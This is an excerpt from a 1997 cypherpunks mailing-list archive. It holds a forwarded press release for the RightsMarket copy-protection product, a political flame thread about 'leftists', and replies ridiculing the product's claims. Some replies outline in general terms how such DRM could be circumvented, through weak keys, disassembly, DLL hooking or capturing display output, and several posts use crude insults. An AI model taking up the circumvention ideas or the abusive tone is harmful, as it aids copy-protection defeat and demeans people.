$50,000 (US) plus integration, support fees, and annual license renewal fees. Unique RightsMarket features include: Persistent Cryptographic Wrappers (RightsWrapper) - No matter where the digital document (financial newsletter, educational test, minutes from a court proceeding, sensitive health care records, etc.) goes, no matter how it gets there, whether it is used and then subsequently redistributed, etc. the document is always encrypted. It is never left decrypted and exposed even while it is being viewed. Rights Marketing `back office' (RightsServer) - Allows marketers to set the terms and conditions of use for the digital property. Features include support for the newly announced international Digital Object Identifier (DOI) publishing standard. Fault Tolerant Middleware (RightsConnection) - Provides a secure link to the `back office' from the user's desktop. As well, there is no requirement to be connected full time to the Internet in order to view the digital document. Metering and Enforcement (RightsClient) - Provides decryption services, meters use, and sends usage information to the RightsServer via secure middleware. Acrobat(TM) Trusted Tool plug-ins - Makes Acrobat, the world's most popular digital publishing tool from Adobe Systems Incorporated(C), ready for prime time digital document economic transactions on the Internet. With a plug-in for the Exchange and Reader, customers can encrypt documents and have a trusted player for viewing content. Shane Hayes, TragoeS' Vice President, Customer Implementation will be presenting at The Digital Object Identifier (DOI) Technology Forum Wednesday, December 10, 1997 in New York City. The DOI is an important emerging international standard for identification of published material online. It forms the foundation layer of a set of technologies that will enable commerce in published material on the Internet so that copyright is protected, content creators can be compensated for their work, and consumers can benefit from technology that is sophisticated, yet seamless and easy to use. The International DOI Foundation (IDF), a non-profit organization established to administer the DOI standard, is looking to technology vendors to implement the necessary technology components and integrate them into secure electronic publishing solutions for the IDF's constituency: the worldwide publishing industry and beyond. In April 1998 in Washington, DC, TragoeS Inc. will participate in a three day conference sponsored by the Library of Congress, the Association of American Publishers (AAP), and the University of Virginia. The conference is titled ``Exploring the New Media - The Paradigm Shift in Publishing: >From Book to Bytes''. TragoeS Vice President, Marketing and Sales, Fred Yee, will sit on a panel discussing `Solutions to Copyright Protection in Cyberspace'. TragoeS Inc., established in 1993, is a Canadian high technology company specializing in software products and services that support financial transactions. Its product, RightsMarket is the solution for the protection, metering and payment of digital intellectual property. TragoeS is a public company reporting in Alberta and Ontario and is listed on the Canadian Dealing Network (CDN TRGO). The Canadian Dealing Network or other regulatory authorities have neither approved nor disapproved of the information contained herein. SOURCE: TragoeS Inc. /CONTACT: Lindsay Moir, President, TragoeS Inc., (403) 571-1835, Fax: (403) 571-1838, Email: moirl(at)tragoes.com, Website: www.tragoes.com, www.rightsmarket.com or Mr. Peter Taylor, Investor Relations, (416) 368-0121, Fax: (416) 368-9175/ (TRGO.) Blair Anderson (Blair at technologist.com) International Consultant in Electronic Commerce, Encryption and Electronic Rights Management "Techno Junk and Grey Matter" (HTTP://WWW.NOW.CO.NZ [moving servers, currently inactive]) 50 Wainoni Road, Christchurch, New Zealand phone 64 3 3894065 fax 64 3 3894065 Member Digital Commerce Society of Boston ---------------------------- Caught in the Net for 25 years ---------------------------- For help on using this list (especially unsubscribing), send a message to "dcsb-request at ai.mit.edu" with one line of text: "help". --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ Ask me about FC98 in Anguilla!: From honig at otc.net Wed Dec 3 16:57:00 1997 From: honig at otc.net (David Honig) Date: Thu, 4 Dec 1997 08:57:00 +0800 Subject: CDT and the Threat of Gov't Intervention In-Reply-To: <3.0.5.32.19971203090005.007d2340@206.40.207.40> Message-ID: <3.0.5.32.19971203152908.007ea690@206.40.207.40> At 12:56 PM 12/3/97 -0700, Tim May wrote: > > >And there are some who want "mislabelling" made a crime. Thus, if I claim >that my site and my words are suitable for children, and someone (like >Janet Reno) disagrees, I could be charged with "misrepresentation." > To pluck that string, I'm occasionally developing an essay which teaches kids about encryption.. building up to strong product-ciphers by exploring what you can do with iterating simple operations, and how they affect the data. At the end of the lesson they learn that giving this document to a foreign-born friend would make them ITAR criminals. Subversive online cypherpunk comic books? If I could draw. ------------------------------------------------------------ David Honig Orbit Technology honig at otc.net Intaanetto Jigyoubu Information is a dense, colorless, odorless material readily transmitted across empty space and arbitrary boundaries by shaking charged particles. From honig at otc.net Wed Dec 3 17:06:14 1997 From: honig at otc.net (David Honig) Date: Thu, 4 Dec 1997 09:06:14 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: <3.0.5.32.19971203164340.007f21f0@206.40.207.40> At 05:05 PM 12/3/97 -0500, James Love wrote: >Declan, apparently having missed the fab 50's, seems to be enjoying his >use of the "leftist" word lately. Since this seems to mean quite >different things to different persons, perhaps Mr. McCullagh can define >his terms. What exactly is a "leftist" in 1997, in his opinion? > > Jamie Yeah, the relevant political dimension is statist vs. individualist, but you knew that. And the difference between republocrat and demipublican is vanishingly small. ------------------------------------------------------------ David Honig Orbit Technology honig at otc.net Intaanetto Jigyoubu Information is a dense, colorless, odorless material readily transmitted across empty space and arbitrary boundaries by shaking charged particles. From declan at well.com Wed Dec 3 17:15:17 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 4 Dec 1997 09:15:17 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <3485ED4B.21881E76@cptech.org> Message-ID: Jamie, if you're seriously confused about the differences between left-wing and right-wing groups I can help educate you, perhaps with a few rules of thumb. But I suspect that you really don't want a serious answer. -Declan From jim.burnes at ssds.com Wed Dec 3 17:35:30 1997 From: jim.burnes at ssds.com (Jim Burnes) Date: Thu, 4 Dec 1997 09:35:30 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <3485F5DD.459EB83C@cptech.org> Message-ID: On Wed, 3 Dec 1997, James Love wrote: > Declan McCullagh wrote: > > > > Jamie, if you're seriously confused about the differences between > > left-wing and right-wing groups I can help educate you, perhaps with a few > > rules of thumb. But I suspect that you really don't want a serious answer. > > I didn't think the big government fetish answer was very good. I > don't want to put words in your mouth. But if you think you can really > explain what constitutes a leftist, in your view, I'm ready to read it. > > Jamie Man! Talk about burning bandwidth on politics 101. The problem is that you're both stuck using Orwellian newspeak for political classification. If people only have a single dimension to classify political beliefs then there can't be very many beliefs. Multidimensional political beliefs systems don't hash into the one dimensional left/right axis very well. The collision rate is too high. For a somewhat better map at least check out the Nolan chart. http://www.self-gov.org/lp-quiz.shtml enjoy jim From declan at well.com Wed Dec 3 17:37:08 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 4 Dec 1997 09:37:08 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: On Wed, 3 Dec 1997, Jim Burnes wrote: > http://www.self-gov.org/lp-quiz.shtml According to your answers, your political philosophy is libertarian. Libertarian Libertarians are self-governors in both personal and economic matters. They believe government's only purpose is to protect people from coercion and violence. They value individual responsibility, and tolerate economic and social diversity. From lizard at dnai.com Wed Dec 3 17:39:34 1997 From: lizard at dnai.com (Lizard) Date: Thu, 4 Dec 1997 09:39:34 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: <3.0.3.32.19971203170222.03484d78@dnai.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 05:05 PM 12/3/97 -0500, James Love wrote: >Declan, apparently having missed the fab 50's, seems to be enjoying his >use of the "leftist" word lately. Since this seems to mean quite >different things to different persons, perhaps Mr. McCullagh can define >his terms. What exactly is a "leftist" in 1997, in his opinion? When the leftists try to avoid being called 'leftists', you know it's all over but the mopping up. But, nonetheless, let me try: "A leftist is someone who advocates increasing government control over private actions, especially in the name of such mummeries as 'equality' and 'fairness'. Contrast to a rightist, who advocates increasing government control over private action in the name of 'decency' and 'values'." -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQA/AwUBNIYBHTKf8mIpTvjWEQL5SwCfa54X344lCmYy25teJGCRUp1QfIUAn3F1 4d9HjdglfH+c0NJZ9+jmyw+6 =LXws -----END PGP SIGNATURE----- From dlv at bwalk.dm.com Wed Dec 3 18:01:40 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 4 Dec 1997 10:01:40 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: Tim May writes: > Predictably, the feministas squealed like stuck pigs (or is it pigesses?). Sows. As in "your mama". --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From aba at dcs.ex.ac.uk Wed Dec 3 18:19:10 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Thu, 4 Dec 1997 10:19:10 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <3485ED4B.21881E76@cptech.org> Message-ID: <199712040101.BAA03648@server.test.net> [Can we quit using cypherpunks at toad.com please ... it is no longer the active list address. (Substituted cyberpass.net).] James Love writes: > > a leftist can best be defined as a big government fetishist. :) > > A "big government fetishist" is cute, but it seems fairly > non-specific. Are moral majority types leftists? Are the supporters of > the Department of Commerce leftists? Are supporters of a bloated > defense department leftists? Can't get enough of that CIA funding > leftists? IMF supporters are leftists? FED lovers are leftists? > Groups that lobby for higher crop supports are leftists? S&L bail out > supporters are leftists? Supporters of GATT are leftists? Are > supporters of more NIH funding leftists? (how about the PhRMA support > for this?) Supporters of aggressive new government programs to define > (and enforce) new Intellectual Property rights are leftists? > > I think the term "leftists" must mean something more than "a big > government fetishist." Frankly, I know of few persons who are > consistently advocates of big government, but I know lots of groups, > many certainly not leftists, who have their favorite government > programs. You have a sucking big cancerous growth which is the government, it provides legalised theft services, and the politicians acts as power brokers in bartering back the stolen money to special interest groups. The huge burgeoning unproductive work force which ineptly administers this monster is a large burden on the economy. Those persons you describe who inconsistently advocate big government is natural enough -- they are sucked into the game, they are lobbying in their special interest groups for some of the stolen loot to be handed to them. A leftist is someone who buys heavily into the legalised theft concept. Charity taken at the point of a gun is not charity, it is theft. And the stolen funds are used incredibly inefficiently, mostly having the opposite effect to the claimed problem being solved, for game theoretic reasons. Adam -- Now officially an EAR violation... Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: Here an incentive: if anyone breaks this, I'll write an article about it and another profiling the person who does. When you have this kind of "encryption" scheme running on untrusted hardware to which the user has access, it's doomed to fail. Even if it's custom hardware, it'll probably be broken, but it'll just take longer. -Declan At 19:27 -0500 12/3/97, Robert Hettinga wrote: >Yet Another Watermark... > >Anyone wanna take bets on how long before it's broken, or at least easily >pirated? > > >Cheers, >Bob Hettinga > >--- begin forwarded text > > >From: "Blair Anderson" >To: "dcsb at ai.mit.edu" >Cc: "Peter Cassidy" , "Brad Cox" >Date: Thu, 04 Dec 97 12:58:05 +1300 >Priority: Normal >MIME-Version: 1.0 >Subject: Superdistribution development/release >Sender: bounce-dcsb at ai.mit.edu >Precedence: bulk >Reply-To: "Blair Anderson" > >Silver Bullet for Digital Publishing Arrives TragoeS Announces General >Availability of RigthsMarket(TM) > > PR Newswire - December 02, 1997 16:10 > TRGO. %ENT %MLM V%PRN P%PRN > >CALGARY, Dec. 2 /CNW-PRN/ - RightsMarket hits the bull's-eye business >opportunity of the 21st century - electronic commerce through digital >publishing on the Internet for the $71.3 billion (US) publishing >industry (Value-Line, April 11/May 20/May 30, 1997). > >``RightsMarket harnesses powerful economic forces that will show people >the money in digital document publishing on the Internet,'' stated >Lindsay Moir, President of TragoeS Inc., during the company's news >conference November 18th at COMDEX `97, Las Vegas. ``With RightsMarket >suppliers of digital documents will be paid and 99% of the revenue loss >due to piracy will be eliminated.'' > >TragoeS has successfully implemented the Superdistribution paradigm in >RightsMarket. Superdistribution tracks usage rather than possession and >is recognised as the best approach to selling digital property (digital >versions of text, data, knowledge, pictures, music, videos, etc.) on the >Internet. Pricing of RightsMarket is $50,000 (US) plus integration, >support fees, and annual license renewal fees. Unique RightsMarket >features include: > >Persistent Cryptographic Wrappers (RightsWrapper) - No matter where the >digital document (financial newsletter, educational test, minutes from a >court proceeding, sensitive health care records, etc.) goes, no matter >how it gets there, whether it is used and then subsequently >redistributed, etc. the document is always encrypted. It is never left >decrypted and exposed even while it is being viewed. > >Rights Marketing `back office' (RightsServer) - Allows marketers to set >the terms and conditions of use for the digital property. Features >include support for the newly announced international Digital Object >Identifier (DOI) publishing standard. > >Fault Tolerant Middleware (RightsConnection) - Provides a secure link to >the `back office' from the user's desktop. As well, there is no >requirement to be connected full time to the Internet in order to view >the digital document. > >Metering and Enforcement (RightsClient) - Provides decryption services, >meters use, and sends usage information to the RightsServer via secure >middleware. > >Acrobat(TM) Trusted Tool plug-ins - Makes Acrobat, the world's most >popular digital publishing tool from Adobe Systems Incorporated(C), >ready for prime time digital document economic transactions on the >Internet. With a plug-in for the Exchange and Reader, customers can >encrypt documents and have a trusted player for viewing content. > >Shane Hayes, TragoeS' Vice President, Customer Implementation will be >presenting at The Digital Object Identifier (DOI) Technology Forum >Wednesday, December 10, 1997 in New York City. The DOI is an important >emerging international standard for identification of published material >online. It forms the foundation layer of a set of technologies that will >enable commerce in published material on the Internet so that copyright >is protected, content creators can be compensated for their work, and >consumers can benefit from technology that is sophisticated, yet >seamless and easy to use. The International DOI Foundation (IDF), a >non-profit organization established to administer the DOI standard, is >looking to technology vendors to implement the necessary technology >components and integrate them into secure electronic publishing >solutions for the IDF's constituency: the worldwide publishing industry >and beyond. > >In April 1998 in Washington, DC, TragoeS Inc. will participate in a >three day conference sponsored by the Library of Congress, the >Association of American Publishers (AAP), and the University of >Virginia. The conference is titled ``Exploring the New Media - The >Paradigm Shift in Publishing: >From Book to Bytes''. TragoeS Vice >President, Marketing and Sales, Fred Yee, will sit on a panel discussing >`Solutions to Copyright Protection in Cyberspace'. > >TragoeS Inc., established in 1993, is a Canadian high technology company >specializing in software products and services that support financial >transactions. Its product, RightsMarket is the solution for the >protection, metering and payment of digital intellectual property. >TragoeS is a public company reporting in Alberta and Ontario and is >listed on the Canadian Dealing Network (CDN TRGO). > >The Canadian Dealing Network or other regulatory authorities have >neither approved nor disapproved of the information contained herein. >SOURCE: TragoeS Inc. > > /CONTACT: Lindsay Moir, President, TragoeS Inc., (403) 571-1835, >Fax: >(403) 571-1838, Email: moirl(at)tragoes.com, Website: www.tragoes.com, >www.rightsmarket.com or Mr. Peter Taylor, Investor Relations, (416) >368-0121, >Fax: (416) 368-9175/ > (TRGO.) > > >Blair Anderson (Blair at technologist.com) > >International Consultant in Electronic Commerce, >Encryption and Electronic Rights Management > > "Techno Junk and Grey Matter" (HTTP://WWW.NOW.CO.NZ [moving servers, >currently inactive]) > 50 Wainoni Road, Christchurch, New Zealand > > phone 64 3 3894065 > fax 64 3 3894065 > >Member Digital Commerce Society of Boston > >---------------------------- Caught in the Net for 25 years >---------------------------- > > > >For help on using this list (especially unsubscribing), send a message to >"dcsb-request at ai.mit.edu" with one line of text: "help". > >--- end forwarded text > > > >----------------- >Robert Hettinga (rah at shipwright.com), Philodox >e$, 44 Farquhar Street, Boston, MA 02131 USA >"... however it may deserve respect for its usefulness and antiquity, >[predicting the end of the world] has not been found agreeable to >experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' >The e$ Home Page: http://www.shipwright.com/ >Ask me about FC98 in Anguilla!: From ksahin at best.com Wed Dec 3 18:40:09 1997 From: ksahin at best.com (Koro) Date: Thu, 4 Dec 1997 10:40:09 +0800 Subject: CDT and the Threat of Gov't Intervention In-Reply-To: <3.0.5.32.19971203090005.007d2340@206.40.207.40> Message-ID: <34860E94.1430@best.com> David Honig wrote: > > At 12:56 PM 12/3/97 -0700, Tim May wrote: > > > > > >And there are some who want "mislabelling" made a crime. Thus, if I claim > >that my site and my words are suitable for children, and someone (like > >Janet Reno) disagrees, I could be charged with "misrepresentation." > > > > To pluck that string, I'm occasionally developing an essay which teaches > kids about > encryption.. building up to strong product-ciphers by exploring what you > can do with > iterating simple operations, and how they affect the data. At the end of > the lesson they learn > that giving this document to a foreign-born friend would make them ITAR > criminals. I hear it's not ITAR anymore. Now it's an EAR violation. Of course, ITAR was more fun. If you violated that law under ITAR you can proudly wear the title of International Arms Trafficker. > Subversive online cypherpunk comic books? If I could draw. Get your Ultra-Top-Secret 1024-bit Decoder Ring kiddies! -- KORO From whgiii at invweb.net Wed Dec 3 19:04:54 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Thu, 4 Dec 1997 11:04:54 +0800 Subject: Superdistribution development/release In-Reply-To: Message-ID: <199712040255.VAA24642@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In , on 12/03/97 at 07:27 PM, Robert Hettinga said: >It is never left >decrypted and exposed even while it is being viewed. LOL!! I guess they require the use of that crypto-crainial inplant. - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIYbSo9Co1n+aLhhAQJSYAP8CXf75V38EUy8+gwKPfrWoz6YcxpZzf1b Vu32s8C0RkfGhv7QgG0h1f1mfsp5R+QuuLaDPG/XaKI3sgnPjRxRQVngBIjXaQ9V wIQr+M/jM9ZhFzKLv+yTcWVkmwFAHAZXYSf43cPwOkd9SoclAVO8VNaU3Db2hIua zqhfjlk2oos= =mNsr -----END PGP SIGNATURE----- From brian at smarter.than.nu Wed Dec 3 19:13:16 1997 From: brian at smarter.than.nu (Brian W. Buchanan) Date: Thu, 4 Dec 1997 11:13:16 +0800 Subject: Superdistribution development/release In-Reply-To: Message-ID: On Wed, 3 Dec 1997, Declan McCullagh wrote: > > Here an incentive: if anyone breaks this, I'll write an article about it > and another profiling the person who does. > > When you have this kind of "encryption" scheme running on untrusted > hardware to which the user has access, it's doomed to fail. Even if it's > custom hardware, it'll probably be broken, but it'll just take longer. Should be relatively trivial to break the encryption, since it can't be over 40-bit (or 56-bit if the company joined the kiss-ass alliance). Probably just as easy or easier to disassemble the software or do some creative tweaking of Windows DLLs to intercept data. Custom hardware is probably out due to cost and distribution problems, and even with it, it's still possible to intercept data between the hardware and the software, or the software and the OS. -- Brian Buchanan brian at smarter.than.nu No security through obscurity! Demand full source code! 4.4BSD for the masses - http://www.freebsd.org From hallam at ai.mit.edu Wed Dec 3 19:16:26 1997 From: hallam at ai.mit.edu (Phillip M. Hallam-Baker) Date: Thu, 4 Dec 1997 11:16:26 +0800 Subject: Censorial leftists (Was: Interesting article) Message-ID: <01bd005f$d59b74b0$06060606@russell> >Indeed, and in a wonderful case of schadenfreude, when the >Dworkin-MacKinnon anti-porn law was enacted in Canada, "Lesbitan Erotica" >bookstores and publishers were shut down. (I believe this was in Toronto, >and it may have only been in that city or region that the law was enacted, >not in all of Canada. Toto can clarify.) Tim you miss the best part one of the first books to be banned was by Dworkin. Dworkin writes with a pseudo academic style but despite a third of her book being 'references' very little of her argument is supported. She deliberately quotes out of context and tries to claim feminist icons such as Simone de Beauvoir for her cause despite the fact that "Mrs Jeane Paul Satre" was anti censorship. Don't write the feminists off too quickly Tim, de Beauvoir's essay 'Must we burn de Sade' is the anti-censorship equivalent of your cypherpunk manifesto. MacKinnon is a more respectable flake. Her book 'Towards a Feminist theory of the state" starts off explaining that she is trying to construct a Marxist theory of the state. Even this wouldn't be quite so bad if what she was writing had some recognisable connection to anything Marx wrote. Its more a sort of left wing US academia game in which the object is to shock your liberal friends. Phill From tm at dev.null Wed Dec 3 19:22:11 1997 From: tm at dev.null (TruthMonger) Date: Thu, 4 Dec 1997 11:22:11 +0800 Subject: Censorial leftists (Was: Interesting testicle) In-Reply-To: Message-ID: <34861C6C.67C@dev.null> James Love writed: > Declan McCullagh wronged: > > Jamie, I may have missed the fab 50s but I suspect you spent a little too > > much time in the psychadelic 60s. In 1997, a leftist can best be defined > > as a big government fetishist. :) > > A "big government fetishist" is cute, but it seems fairly > non-specific. Are moral majority types leftists? Are the supporters of > the Department of Commerce leftists? Are supporters of a bloated > defense department leftists? Can't get enough of that CIA funding > leftists? IMF supporters are leftists? FED lovers are leftists? > Groups that lobby for higher crop supports are leftists? S&L bail out > supporters are leftists? Supporters of GATT are leftists? Are > supporters of more NIH funding leftists? (how about the PhRMA support > for this?) Supporters of aggressive new government programs to define > (and enforce) new Intellectual Property rights are leftists? Declan McCullagh replied: > Jamie, if you're seriously confused about the differences between > left-wing and right-wing groups I can help educate you, perhaps with a few > rules of thumb. But I suspect that you really don't want a serious answer. That's my cue...prepare for a deadly non-serious answer. The left-wing and right-wing extremests have finally moved so far off of center that they have completed the circle of the Tao, moving in opposite directions, and will shortly be exactly the same for a brief instant, before continuing on to become the polar opposite of what they previously were. {They will, however, each remained as convinced as ever that the 'other' is totally wrong in their beliefs, despite the fact that the 'other' will now hold beliefs exactly in tune with their own 'old' beliefs.} Actually, recent discussions about the need for the Republicans and Democrats to work toward redefining themselves so that there is actually a difference between them indicates that society and government have reached a stage where it is getting very difficult for members of an 'individualist' society to keep pretending that there is a difference between 'discrimination' fascists and 'equality' fascists, 'free-market' fascists and 'communist' fascists, 'moral' fascists and 'immoral' fascists. Right...let's throw out the bums who are passing laws to 'force' us to imprison Jews and elect bums who will pass laws to 'force' us to imprison Jew-haters. Nazi - "I don't put them in the ovens, I just turn on the gas." Fascist - "I don't freeze them to death, I just turn off the gas." LISTEN UP!!! (I'LL TYPE SLOWLY...) Faster horses, older whiskey, younger women, more money. Democracy is a political system designed to put Fascism in the hands of the people. Fascism is a political system designed to take Democracy out of the hands of the people and into the hands of the Machine. Money and Guns... Guns - "If we were caught hiding Jews, the Gestapo would send us to prison with them." "If we spoke out against the actions of the Israelies, the Justice Department would arrest us as members of a hate group." "If we resisted the Nazi Party, we were hounded from our jobs and reviled by our neighbors." "If we supported the Communist Party, we were hounded from our jobs in Hollywood and reviled by our neighbors." "If we called John Gilmore a cocksucker, we were forcefully unsubscribed from the CypherPunks mailing list." Money "Those with the most money can buy the most guns." NEWS FLASH!!! Whether you are forced to 'do right' or forced to 'do no wrong' will depend on whether the 'leftists' or the 'rightists' have the most money and guns. NEWS FLASH ADDENDUM!!! Those seeking to 'save' you are likely to afflict as much damage to your rights and freedoms as those seeking to 'oppress' you. NOTE TO BOY SCOUTS!!! If an old lady doesn't want to cross the street, that is an act of 'passive aggression' and you have a right to use as much force as necessary to get her across the street. Is there a difference in the degree of 'dead' between a person shot by a left-hander and one shot by a right-hander? Do you have a preference for having an individual, a government or a corporation as your dictator/oppressor? Is it of great concern to you to be allowed to 'vote' as to which person gives you an unneeded prostrate exam? By the time everyone reaches agreement on the proper definition of 'leftist' and 'rightist', it will be time to turn to the person chained to you in the dark, dank prison cell, and ask them what their defenition of 'imprisonment' is. Don't take any wooden dictators... TruthMonger From tm at dev.null Wed Dec 3 19:35:35 1997 From: tm at dev.null (TruthMonger) Date: Thu, 4 Dec 1997 11:35:35 +0800 Subject: Unbreakable Encryption / Re: Superdistribution development/release In-Reply-To: Message-ID: <34862332.4D32@dev.null> Declan McCullagh wrote: > > Here an incentive: if anyone breaks this, I'll write an article about it > and another profiling the person who does. > > When you have this kind of "encryption" scheme running on untrusted > hardware to which the user has access, it's doomed to fail. Even if it's > custom hardware, it'll probably be broken, but it'll just take longer. I-ay et-bay ou-yay an't-cay eak-bray is-thay essage-may. For a limited time (ACT NOW!) I am offering shares in my new encryption ompany-cay that has developed an unbreakable new pig-latin technology. Rumors that I acquired this technology by buying out DataETRetch are completely unfounded. Uth-trayOnger-May From love at cptech.org Wed Dec 3 19:54:26 1997 From: love at cptech.org (James Love) Date: Thu, 4 Dec 1997 11:54:26 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: <3486262E.C70FF40@cptech.org> Lizard, Don't get me wrong. I think the right left dichotomy does continues to have meaning in some contexts, and when appropriate, it would make sense to describe me as left (certainly by some contemporary standards). I just don't think of this is the only way to think about what is going on today, and for many issues that I work on day to day, it predicts next to nothing, in terms of who supports what. Here are some examples. I have been working on a very wide range of issues relating to intellectual property, since 1990. I don't really see most of the alliances on those issues well defined by a right left dichotomy. I work on a number of privacy issues too. And I don't think anyone could describe the alliances on privacy issues as having much to do with a right left dichotomy. Freedom of Information and right to know issues (Ralph Nader was the single most important actor in getting the modern FOIA laws) have a very broad constituency. Access to government information over the Internet? The pro-access coalition is very broad. I work on issues relating to pricing of digital telephone services (ISDN and various unbundling issues relating to xDSL pricing). Except for a handful of zero government true believers, this doesn't end up being a left right issue either. Should cable be permitted to control DBS spectrum? Not a right left issue. Should South Africa be permitted to import pharmacuetical drugs (parallel imports)? There are big commerical interests lobbying on this, but I don't think of the fundemental issues as right left. I'm certainly on the side of the CATO institute on this one. Is Microsoft engaged in anticompetitive practices? A hot topic, certainly, but the persons who are concerned with Microsoft are a pretty broad coalition, in terms of traditional ideological labels. Now, if one sees the burning issue of the day the fight to rid the world of government as we know it, maybe right left labels make sense. By defining both the left and the right as groups who advocate increasing government control over private actions, you describe what seems most important to you. I found this characterization of "leftists" as shallow as Declan's, however. Jamie Lizard wrote: > When the leftists try to avoid being called 'leftists', you know it's > all over but the mopping up. > > But, nonetheless, let me try: > "A leftist is someone who advocates increasing government control > over private actions, especially in the name of such mummeries as > 'equality' and 'fairness'. Contrast to a rightist, who advocates > increasing government control over private action in the name of > 'decency' and 'values'." -- James Love Consumer Project on Technology P.O. Box 19367, Washington, DC 20036 voice 202.387.8030; fax 202.234.5176 http://www.cptech.org | love at cptech.org From bd1011 at hotmail.com Wed Dec 3 20:16:50 1997 From: bd1011 at hotmail.com (Nobuki Nakatuji) Date: Thu, 4 Dec 1997 12:16:50 +0800 Subject: About the way of regulating Japanese encryption export Message-ID: <19971204035452.2105.qmail@hotmail.com> About the way of regulating Japanese encryption export Permission shouldn't be necessary. ( For example, in such cases as the dealings of providing the technology of the public wisdom. ) And, if corresponding is considered, Export permission isn't needed. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From JonWienk at ix.netcom.com Wed Dec 3 20:17:02 1997 From: JonWienk at ix.netcom.com (Jonathan Wienke) Date: Thu, 4 Dec 1997 12:17:02 +0800 Subject: Superdistribution development/release In-Reply-To: Message-ID: <3.0.3.32.19971203195235.006e7318@popd.netcruiser> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 07:27 PM 12/3/97 -0500, Robert Hettinga wrote: >Yet Another Watermark... [snip] >From: "Blair Anderson" [snip] >Persistent Cryptographic Wrappers (RightsWrapper) - No matter where the >digital document (financial newsletter, educational test, minutes from a >court proceeding, sensitive health care records, etc.) goes, no matter >how it gets there, whether it is used and then subsequently >redistributed, etc. the document is always encrypted. It is never left >decrypted and exposed even while it is being viewed. [snip] >Metering and Enforcement (RightsClient) - Provides decryption services, >meters use, and sends usage information to the RightsServer via secure >middleware. "It is never left decrypted and exposed" but the software "Provides decryption services." Doesn't this sound oxymoronic? These guys need help. -----BEGIN PGP SIGNATURE----- Version: PGP for Business Security 5.5 iQA/AwUBNIYpAcJF0kXqpw3MEQIZ3QCfdwaVPxlD0B94hELCctja2VYScEQAnjut IzSWyLdnnbougFr6qKA+1WYZ =1mk9 -----END PGP SIGNATURE----- Jonathan Wienke PGP Key Fingerprints: 7484 2FB7 7588 ACD1 3A8F 778A 7407 2928 3312 6597 8258 9A9E D9FA 4878 C245 D245 EAA7 0DCC "If ye love wealth greater than liberty, the tranquility of servitude greater than the animating contest for freedom, go home from us in peace. We seek not your counsel, nor your arms. Crouch down and lick the hand that feeds you. May your chains set lightly upon you; and may posterity forget that ye were our countrymen." -- Samuel Adams "Stupidity is the one arena of of human achievement where most people fulfill their potential." -- Jonathan Wienke Never sign a contract that contains the phrase "first-born child." RSA export-o-matic: print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: On Wed, 3 Dec 1997, Robert Hettinga wrote: > > Persistent Cryptographic Wrappers (RightsWrapper) - No matter where the > digital document (financial newsletter, educational test, minutes from a > court proceeding, sensitive health care records, etc.) goes, no matter > how it gets there, whether it is used and then subsequently > redistributed, etc. the document is always encrypted. It is never left > decrypted and exposed even while it is being viewed. They have lost their mind. Since humans are notoriously bad at performing decryptions in their head in real time, whatever is sent to the display *must* be cleartext. Any competent programmer can grab it at that point. -- Lucky Green PGP v5 encrypted email preferred. "Tonga? Where the hell is Tonga? They have Cypherpunks there?" From blancw at cnw.com Wed Dec 3 21:01:16 1997 From: blancw at cnw.com (Blanc) Date: Thu, 4 Dec 1997 13:01:16 +0800 Subject: Transcript of Gore's remarks at "Censorware Summit" Message-ID: <3.0.32.19971203205653.00699b08@cnw.com> I just had an incorrect thought that I've decided to share with everyone: The reason Al Gore (and the others) are focusing on helping All the Little Children, is that this is the only group they can offer assistance to in the U.S. who would accept it. Everyone else is stocking up on guns & ammo, waiting for The Big One. .. Blanc From anon at anon.efga.org Wed Dec 3 21:03:33 1997 From: anon at anon.efga.org (Anonymous) Date: Thu, 4 Dec 1997 13:03:33 +0800 Subject: No Subject Message-ID: AMEN. > >so far to the left comes out a libertarian rightist. No, this chick Dworkin > >is so far left she's just plain _left_. She argues that porn for womyn (or > >is it wimmin?) is fine and dandy, because this represents lesbian > >sisterhood exploring their own blah blah blah, but porn aimed and directed > > > > What you watch is pornography; > What I watch is erotica. > From lord_buttmonkey at juno.com Wed Dec 3 21:11:36 1997 From: lord_buttmonkey at juno.com (Matthew L 